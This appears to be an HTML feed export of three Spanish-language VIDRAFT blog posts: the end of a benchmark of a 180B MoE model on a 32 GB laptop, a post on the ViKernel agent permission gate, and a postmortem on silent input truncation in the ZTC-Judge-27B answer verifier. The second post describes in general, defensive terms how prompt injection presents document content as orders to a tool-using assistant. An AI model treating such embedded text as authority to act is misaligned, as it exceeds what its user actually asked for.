    &lt;span class="n"&gt;gb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;psutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disk_io_counters&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;read_bytes&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;d0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1e9&lt;/span&gt;
    &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tokens_predicted&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tokens_evaluated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tok_s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tokens_predicted&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gb_leidos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;gb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mb_por_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;gb&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fallos_mayores&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;fallos_mayores&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;f0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# for _ in range(3): print(medir("http://127.0.0.1:8080", PID_DEL_SERVIDOR, "Explica por que el cielo es azul."))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cómo interpretarlo: si &lt;code&gt;mb_por_token&lt;/code&gt; es cercano a cero, tu modelo cabe en memoria y el cuello de botella es otro. Si es de cientos de MB, estás en el régimen que describimos aquí y vale la pena variar el tope de memoria antes de tocar nada más. &lt;code&gt;disk_io_counters()&lt;/code&gt; cuenta todo el sistema, así que cierra otros programas durante la medición.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Se puede usar un MoE de 180B de forma práctica en un portátil de 32 GB?&lt;/strong&gt;&lt;br&gt;
Para generación interactiva larga, 3 tok/s es lento, pero sirve para pruebas, evaluación sin conexión o cargas por lotes. Para uso diario en un portátil de esta memoria, los modelos de 26B y 35B (11 a 13 tok/s en nuestra medición) son una opción mucho más cómoda.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué no ayuda la GPU?&lt;/strong&gt;&lt;br&gt;
En esta máquina la memoria es unificada: CPU y GPU leen de la misma RAM, así que la GPU no aporta ancho de banda adicional. Con los expertos en CPU, cada capa exige pasar datos y sincronizar, lo que añade costo. En un equipo con VRAM dedicada y expertos residentes en ella, el panorama sería otro y no lo medimos aquí.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Subir el tope de memoria siempre ayuda?&lt;/strong&gt;&lt;br&gt;
En nuestra medición, pasar de 20 a 23 GB redujo la lectura por solicitud de 29,0 a 22,3 GB y subió la mediana de 2,61 a 2,74 tok/s. Es una mejora pequeña en velocidad pero coherente con la lectura de disco. No extrapoles más allá: el sistema operativo y otros procesos también necesitan memoria.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué cantidad de memoria haría falta para evitar casi toda la lectura?&lt;/strong&gt;&lt;br&gt;
No lo medimos. El modelo ocupa 111,3 GB y se consulta de forma desigual, así que no hace falta alojarlo entero, pero con 23 GB de caché todavía leemos entre 16 y 22 GB por solicitud. Es razonable esperar una mejora clara con 64 GB, pero eso es una hipótesis hasta que lo midamos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué pasa con la calidad de las respuestas?&lt;/strong&gt;&lt;br&gt;
Todas las configuraciones de la tabla que se marcan como correctas dieron salidas coherentes en la prueba corta de 64 tokens. No es una evaluación de calidad. La evaluación de benchmarks del modelo es independiente de esta prueba de velocidad.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Son cifras que se puedan comparar con las de otros equipos?&lt;/strong&gt;&lt;br&gt;
No directamente. Son una máquina, una pregunta, 64 tokens y tres corridas, con un ±10% de variación. Úsalas para entender qué factor domina, y mide con tu propio script antes de decidir hardware.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;En un portátil de 32 GB, un MoE de 180B en Q4 no se ve limitado por la potencia de cálculo sino por cuánto de lo que necesita se queda en la caché de páginas. La evidencia es consistente: los modelos que caben van cuatro veces más rápido, una solicitud relee entre 16 y 29 GB del SSD, más memoria reduce esa lectura y las rutas que no atacan el problema (GPU, borrador especulativo, lectura anticipada) no aportaron. Si vas a ejecutar un MoE grande con mucha menos RAM que el tamaño del archivo, mide primero los bytes leídos del disco por token: ese número te dice si te conviene comprar memoria, reducir pesos o aceptar el techo.&lt;/p&gt;

&lt;p&gt;Declaración: este artículo lo publica VIDRAFT sobre su propio modelo y sus propias mediciones. Los datos provienen de una sola máquina, con variación de corrida a corrida de unos ±10%; las tasas de acierto son estimaciones derivadas y se indican como tales.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/como-ejecutar-un-llm-de-35b-a-180b-sin-gpu-vidraft-pocket-supera-los-315-millones-de-descargas-4cjd"&gt;Cómo ejecutar un LLM de 35B a 180B sin GPU: VIDRAFT POCKET supera los 3,15 millones de descargas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/como-correr-un-modelo-de-180b-sin-gpu-pocket-darwin-180b-en-gguf-con-llamacpp-1m56"&gt;Cómo correr un modelo de 180B sin GPU: POCKET-Darwin-180B en GGUF con llama.cpp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>llm</category>
      <category>performance</category>
    </item>
    <item>
      <title>ViKernel Desktop y la diferencia entre leer una instrucción y tener permiso para actuar</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Wed, 04 Nov 2026 01:38:22 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/vikernel-desktop-y-la-diferencia-entre-leer-una-instruccion-y-tener-permiso-para-actuar-4358</link>
      <guid>https://dev.to/_0e3192755d4df45b92/vikernel-desktop-y-la-diferencia-entre-leer-una-instruccion-y-tener-permiso-para-actuar-4358</guid>
      <description>&lt;p&gt;Un asistente puede necesitar leer un documento sin tener permiso para obedecer todas las instrucciones que aparecen en él. Cuando una aplicación de IA también utiliza herramientas, esa diferencia deja de ser un detalle de la conversación.&lt;/p&gt;

&lt;p&gt;Este artículo lo publica VIDRAFT sobre su propia tecnología. Explica el anuncio público de ViKernel y su demostración, no una evaluación independiente.&lt;/p&gt;

&lt;h2&gt;
  
  
  Por qué el contenido de un documento no concede autoridad
&lt;/h2&gt;

&lt;p&gt;Si una persona pide un resumen, el documento es material de lectura. Una frase dentro de ese material no debería ampliar por sí sola el encargo y autorizar otra operación.&lt;/p&gt;

&lt;p&gt;La inyección de instrucciones intenta aprovechar precisamente esa frontera: presentar contenido externo como una orden que el asistente debe cumplir. La pregunta práctica es qué acciones están permitidas dentro de la tarea que el usuario realmente asignó.&lt;/p&gt;

&lt;p&gt;Las noticias publicadas el 3 de noviembre por &lt;a href="https://zdnet.co.kr/view/?no=20261103144921" rel="noopener noreferrer"&gt;ZDNet Korea&lt;/a&gt; y &lt;a href="https://www.aitimes.com/news/articleView.html?idxno=216938" rel="noopener noreferrer"&gt;AI Times&lt;/a&gt; presentan el trabajo de VIDRAFT con ViKernel en ese contexto. Su interés está en la decisión sobre la acción, no solamente en la calidad de la respuesta escrita.&lt;/p&gt;

&lt;p&gt;El diseño publicado por VIDRAFT conserva los pesos originales del modelo y los combina con operaciones de CPU y de un sistema operativo de seguridad. También describe autorización firmada para reanudar la ejecución y un registro de auditoría. La intención es que el texto de un documento no pueda convertirse por sí solo en autoridad para cambiar las reglas. Es la propuesta de diseño de la empresa, distinta de la configuración de API y puerta de control que se observa en la demostración. &lt;a href="https://github.com/final-bench/vikernel-agent-guard" rel="noopener noreferrer"&gt;Diseño y código públicos&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué muestra la demostración de Desktop
&lt;/h2&gt;

&lt;p&gt;El README público actual describe una ruta LIVE para AgentGuard y una reproducción como alternativa cuando esa ruta no está disponible. El modo de ejecución ayuda a interpretar el resultado que aparece en pantalla. &lt;a href="https://huggingface.co/spaces/FINAL-Bench/ViKernel-Desktop/blob/57bd44dd1ed6aa68cafea7ce9a94f27a8a2472f2/README.md" rel="noopener noreferrer"&gt;Descripción pública de la demostración&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fvidraft-ai-media.static.hf.space%2Fmedia%2Fvikernel-desktop-ko-20261104-d3aa1c8d8640.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fvidraft-ai-media.static.hf.space%2Fmedia%2Fvikernel-desktop-ko-20261104-d3aa1c8d8640.jpg" alt="Pantalla real de AgentGuard en ViKernel Desktop" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En la interfaz de Demo v0.4 observada el 4 de noviembre figuraban Spark API más la puerta de ViKernel y el modo B, la referencia de CPU. Esto describe la configuración visible, no una verificación de ejecución dentro de los pesos de Spark.&lt;/p&gt;

&lt;p&gt;El constructor de acciones de Policy Engine permitió una solicitud simulada del tiempo en Busan con la regla A y el registro 252. Rechazó una solicitud simulada de correo a una dirección de ejemplo no entregable con la regla F y el registro 253. No se envió ningún correo real. Fueron dos acciones seleccionadas manualmente con herramientas y datos ficticios, no un ensayo de inyección de instrucciones.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fvidraft-ai-media.static.hf.space%2Fmedia%2Fvikernel-policy-allow-deny-20261104-ad9814a4b256.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fvidraft-ai-media.static.hf.space%2Fmedia%2Fvikernel-policy-allow-deny-20261104-ad9814a4b256.jpg" alt="Resultado DENY de la solicitud simulada de correo" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La utilidad del ejemplo está en separar una acción propuesta de la autorización para llevarla a cabo. Ambas decisiones pueden explicarse sin atribuir al modelo una autonomía que no se probó en esa observación.&lt;br&gt;
Una reproducción puede explicar el flujo de trabajo con claridad. Una ejecución en vivo ofrece una observación de la solicitud realizada en ese momento. Al describir la imagen conviene conservar esa diferencia, en lugar de presentar cualquier pantalla como una nueva prueba en vivo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué significan las 661 pruebas
&lt;/h2&gt;

&lt;p&gt;VIDRAFT informó que no hubo transferencias externas no solicitadas en 661 pruebas con cuatro modelos públicos, herramientas simuladas y datos ficticios. Se trata de pruebas comunicadas por la propia empresa bajo esas condiciones. No son 661 clientes, certificaciones ni despliegues reales. &lt;a href="https://www.aitimes.com/news/articleView.html?idxno=216938" rel="noopener noreferrer"&gt;Información sobre las pruebas&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;También se ha comunicado una comparación de 21 veces para la etapa de decisión de políticas. Esa cifra no significa que toda la tarea de un agente o todo el ordenador sea 21 veces más rápido. Leer, generar una respuesta, decidir si una acción está permitida y ejecutar una herramienta son etapas diferentes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo valorar una integración concreta
&lt;/h2&gt;

&lt;p&gt;El punto de partida útil es una tarea pequeña cuyo resultado esperado sea claro. Después hay que observar qué acción propone el asistente, si la política la permite y qué ocurre realmente en la herramienta. Las solicitudes normales también importan: impedir cualquier acción no equivale a construir un asistente útil.&lt;/p&gt;

&lt;p&gt;Si se comparan dos configuraciones, conviene mantener el mismo modelo, los mismos permisos, herramientas y entradas. El tiempo de decisión y el tiempo total deben registrarse por separado. Estas son condiciones para diseñar una comparación, no resultados adicionales de ViKernel.&lt;/p&gt;

&lt;p&gt;La demostración de Desktop ayuda a convertir una idea abstracta en una conversación concreta sobre acciones y permisos. La pregunta no es solamente qué puede hacer una IA, sino quién le ha dado permiso para hacerlo.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>agents</category>
    </item>
    <item>
      <title>Truncado silencioso: cuando un verificador de LLM da el mismo puntaje a una respuesta correcta y a una incorrecta</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Mon, 02 Nov 2026 14:35:53 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/truncado-silencioso-cuando-un-verificador-de-llm-da-el-mismo-puntaje-a-una-respuesta-correcta-y-a-3nc6</link>
      <guid>https://dev.to/_0e3192755d4df45b92/truncado-silencioso-cuando-un-verificador-de-llm-da-el-mismo-puntaje-a-una-respuesta-correcta-y-a-3nc6</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Un verificador de respuestas basado en LLM tiene un &lt;strong&gt;límite de contexto&lt;/strong&gt;. Si el tokenizador corta por la derecha lo que se pasa del límite, y la plantilla pone la &lt;strong&gt;respuesta al final&lt;/strong&gt;, la respuesta desaparece. Dos respuestas distintas producen exactamente la misma entrada, el mismo vector y el mismo puntaje. &lt;strong&gt;No salta ningún error.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Nos pasó a nosotros. En el código público de &lt;strong&gt;ZTC-Judge-27B&lt;/strong&gt; (un verificador de VIDRAFT que lee una pregunta y una respuesta y devuelve un puntaje sin generar ningún token), una prueba interna con &lt;strong&gt;57 pares&lt;/strong&gt; de contexto largo (mediana de 3.867 tokens) dio &lt;strong&gt;57 empates exactos&lt;/strong&gt; entre la opción correcta y la incorrecta. Cero excepciones.&lt;/li&gt;
&lt;li&gt;El arreglo publicado el 2 de noviembre de 2026 recorta &lt;strong&gt;solo la pregunta&lt;/strong&gt; (conserva su cabecera, descarta su cola) y deja intactos la plantilla, la respuesta y la pregunta final. En la misma medición interna, la respuesta correcta puntúa más alto en &lt;strong&gt;43 de 57 pares&lt;/strong&gt;, con &lt;strong&gt;0 empates&lt;/strong&gt;, y en entradas cortas el puntaje no cambia (diferencia 0,0 en 20 casos).&lt;/li&gt;
&lt;li&gt;Nuestro primer arreglo estaba mal (cortar por la izquierda: 24 de 57). Lo contamos abajo. Todas las cifras son &lt;strong&gt;autorreportadas&lt;/strong&gt;, de un conjunto pequeño, y señalamos sus límites.&lt;/li&gt;
&lt;li&gt;Al final hay tres pruebas cortas que puedes pegar en tu propio verificador, evaluador o clasificador para saber si te pasa lo mismo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ¿Qué es ZTC-Judge y por qué importa dónde cae el último token?
&lt;/h2&gt;

&lt;p&gt;ZTC (Zero-Token Confidence) es un método de VIDRAFT para estimar si una respuesta es confiable &lt;strong&gt;sin generar ni un token&lt;/strong&gt;. En el caso de &lt;code&gt;ZTC-Judge-27B&lt;/code&gt;, el flujo es este:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[pregunta + respuesta]  -&amp;gt;  un solo forward pass por el modelo de 27B
                        -&amp;gt;  estado oculto de la última capa, última posición (5.120 dim.)
                        -&amp;gt;  un producto punto con la sonda
                        -&amp;gt;  puntaje
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como no se decodifica nada, la latencia es un forward pass y el procesamiento por lotes escala bien. La contrapartida es que &lt;strong&gt;todo el juicio depende de un único vector: el de la última posición no vacía&lt;/strong&gt;. La plantilla, que está en el &lt;code&gt;ztc_config.json&lt;/code&gt; público, es esta (en coreano):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;다음은 어떤 문제와 그에 대한 답변이다. 이 답변이 옳은지 판단하라.

[문제]
%s

[답변]
%s

이 답변은 옳은가?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dos detalles de diseño que parecen inocentes: la respuesta va &lt;strong&gt;después&lt;/strong&gt; de la pregunta, y la frase final ("¿Es correcta esta respuesta?") va &lt;strong&gt;después&lt;/strong&gt; de la respuesta. El vector que se lee es el de esa frase final, que es donde el modelo ha visto todo. El límite de entrada del modelo en la configuración pública es &lt;code&gt;max_length = 2048&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué pasa cuando la entrada supera el límite y el tokenizador corta por la derecha?
&lt;/h2&gt;

&lt;p&gt;El cargador público hacía lo habitual en cualquier código de Hugging Face:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;truncation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_length&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con &lt;code&gt;truncation=True&lt;/code&gt; y el &lt;code&gt;truncation_side&lt;/code&gt; por defecto (&lt;code&gt;"right"&lt;/code&gt;), todo lo que pasa de 2.048 tokens se descarta &lt;strong&gt;desde el final&lt;/strong&gt;. Con esta plantilla, el final es justo donde están la respuesta y la pregunta final. Lo que queda es la plantilla, la pregunta (cortada a mitad de frase) y nada más.&lt;/p&gt;

&lt;p&gt;El resultado es peor que un error, porque es un resultado plausible. El modelo lee el último token que sobrevivió (una palabra cualquiera del medio de la pregunta), produce un vector razonable y la sonda devuelve un número. Ese número no depende de la respuesta. Si preguntas con &lt;code&gt;C. Allomone&lt;/code&gt; o con &lt;code&gt;B. Pheromone&lt;/code&gt;, los &lt;code&gt;input_ids&lt;/code&gt; son idénticos.&lt;/p&gt;

&lt;p&gt;Lo comprobamos con el tokenizador real de ZTC-Judge-27B, usando una pregunta de relleno de longitud creciente y dos respuestas distintas:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tokens de la pregunta (aprox.)&lt;/th&gt;
&lt;th&gt;Tokens totales&lt;/th&gt;
&lt;th&gt;Entran en la ventana&lt;/th&gt;
&lt;th&gt;Descartados&lt;/th&gt;
&lt;th&gt;¿Sobrevive la respuesta?&lt;/th&gt;
&lt;th&gt;¿Colisionan las dos respuestas?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1.457&lt;/td&gt;
&lt;td&gt;1.501&lt;/td&gt;
&lt;td&gt;1.501&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2.419&lt;/td&gt;
&lt;td&gt;2.463&lt;/td&gt;
&lt;td&gt;2.048&lt;/td&gt;
&lt;td&gt;415&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Sí&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.745&lt;/td&gt;
&lt;td&gt;3.789&lt;/td&gt;
&lt;td&gt;2.048&lt;/td&gt;
&lt;td&gt;1.741&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Sí&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.799&lt;/td&gt;
&lt;td&gt;5.843&lt;/td&gt;
&lt;td&gt;2.048&lt;/td&gt;
&lt;td&gt;3.795&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Sí&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-7697a439-f39f-4ea0-9b0f-b8a3ab153d83" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-7697a439-f39f-4ea0-9b0f-b8a3ab153d83" alt="Tokens que entran en la ventana frente a tokens descartados por la derecha" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En cuanto la entrada pasa de 2.048 tokens, la respuesta no entra. No hay umbral gradual: hasta 2.048 funciona y a partir de ahí la respuesta se pierde por completo. (Es una medición de tokenización, determinista y reproducible; no usa GPU.)&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo lo descubrimos si no había ningún error?
&lt;/h2&gt;

&lt;p&gt;No lo vio ningún usuario ni lo disparó ninguna excepción. Lo encontró una &lt;strong&gt;prueba de garantías&lt;/strong&gt; que corrimos nosotros mismos sobre el verificador público, sin modificar su código ni sus umbrales. La prueba es simple y conviene copiarla: tomar pares (misma pregunta, respuesta correcta frente a incorrecta), &lt;strong&gt;alargar el contexto&lt;/strong&gt; con un texto de relleno previo y comprobar que el puntaje todavía distingue una respuesta de otra.&lt;/p&gt;

&lt;p&gt;Con 57 pares cuyo contexto tenía una mediana de 3.867 tokens, el resultado fue:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Respuesta correcta con mejor puntaje: &lt;strong&gt;0 de 57&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Empate exacto: &lt;strong&gt;57 de 57&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Errores o advertencias: &lt;strong&gt;0&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Esa combinación (resultados idénticos y cero errores) es el modo de falla de un evaluador que no avisa: un juez que devuelve un número siempre, tenga o no información para devolverlo.&lt;/p&gt;

&lt;p&gt;Una aclaración importante para no exagerar el alcance. Las métricas que aparecen en la tarjeta del modelo se midieron con entradas de longitud estándar, que caben en la ventana, y &lt;strong&gt;no se ven afectadas&lt;/strong&gt;. El fallo solo existía para entradas que superan &lt;code&gt;max_length&lt;/code&gt;. Pero el código público estaba a un &lt;code&gt;if&lt;/code&gt; de distancia de dar basura a cualquiera que le pasara un documento largo, y eso es lo que corregimos.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Por qué cortar por la izquierda no es la solución?
&lt;/h2&gt;

&lt;p&gt;La primera idea, y la que enviamos como parche inicial, fue la más corta: &lt;code&gt;truncation_side="left"&lt;/code&gt;. Si la cola es lo que importa, se corta la cabeza. Una línea de código y los empates desaparecen.&lt;/p&gt;

&lt;p&gt;Lo medimos y estaba mal. Cortar por la izquierda elimina la cabecera de la plantilla, la instrucción y las opciones de respuesta (que en muchas preguntas de opción múltiple están al principio). Sin empates, pero tampoco con criterio: la respuesta correcta puntuó más alto en solo &lt;strong&gt;24 de 57&lt;/strong&gt; pares (42 %). Nuestro primer informe interno incluso citaba una cifra mejor (44 de 57) que no era de ese parche sino de otra variante; la corregimos el mismo día. Documentamos la corrección porque el error de atribuir a un arreglo el resultado de otro es el mismo tipo de descuido que estamos describiendo.&lt;/p&gt;

&lt;p&gt;El principio correcto es otro: &lt;strong&gt;no recortes el texto ensamblado, recorta la parte que puedes sacrificar antes de ensamblarlo&lt;/strong&gt;. En esta plantilla, hay cuatro piezas con valor muy distinto:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pieza&lt;/th&gt;
&lt;th&gt;Valor para el vector final&lt;/th&gt;
&lt;th&gt;¿Se puede recortar?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cabecera de la plantilla&lt;/td&gt;
&lt;td&gt;Alto (define la tarea)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Material de la pregunta&lt;/td&gt;
&lt;td&gt;Alto al principio (instrucciones, opciones), menor en la cola&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Sí, la cola&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Respuesta&lt;/td&gt;
&lt;td&gt;Máximo (es lo que se juzga)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pregunta final&lt;/td&gt;
&lt;td&gt;Máximo (ahí se lee el vector)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  ¿Cómo es el arreglo, línea por línea?
&lt;/h2&gt;

&lt;p&gt;Antes de llenar la plantilla, se calcula cuántos tokens consumen las piezas fijas y la respuesta, y se le deja a la pregunta solo el presupuesto restante. Esta es una versión reducida de la función &lt;code&gt;_fit&lt;/code&gt; que publicamos (la versión pública tiene además el caso en que la respuesta sola ocupa toda la ventana):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
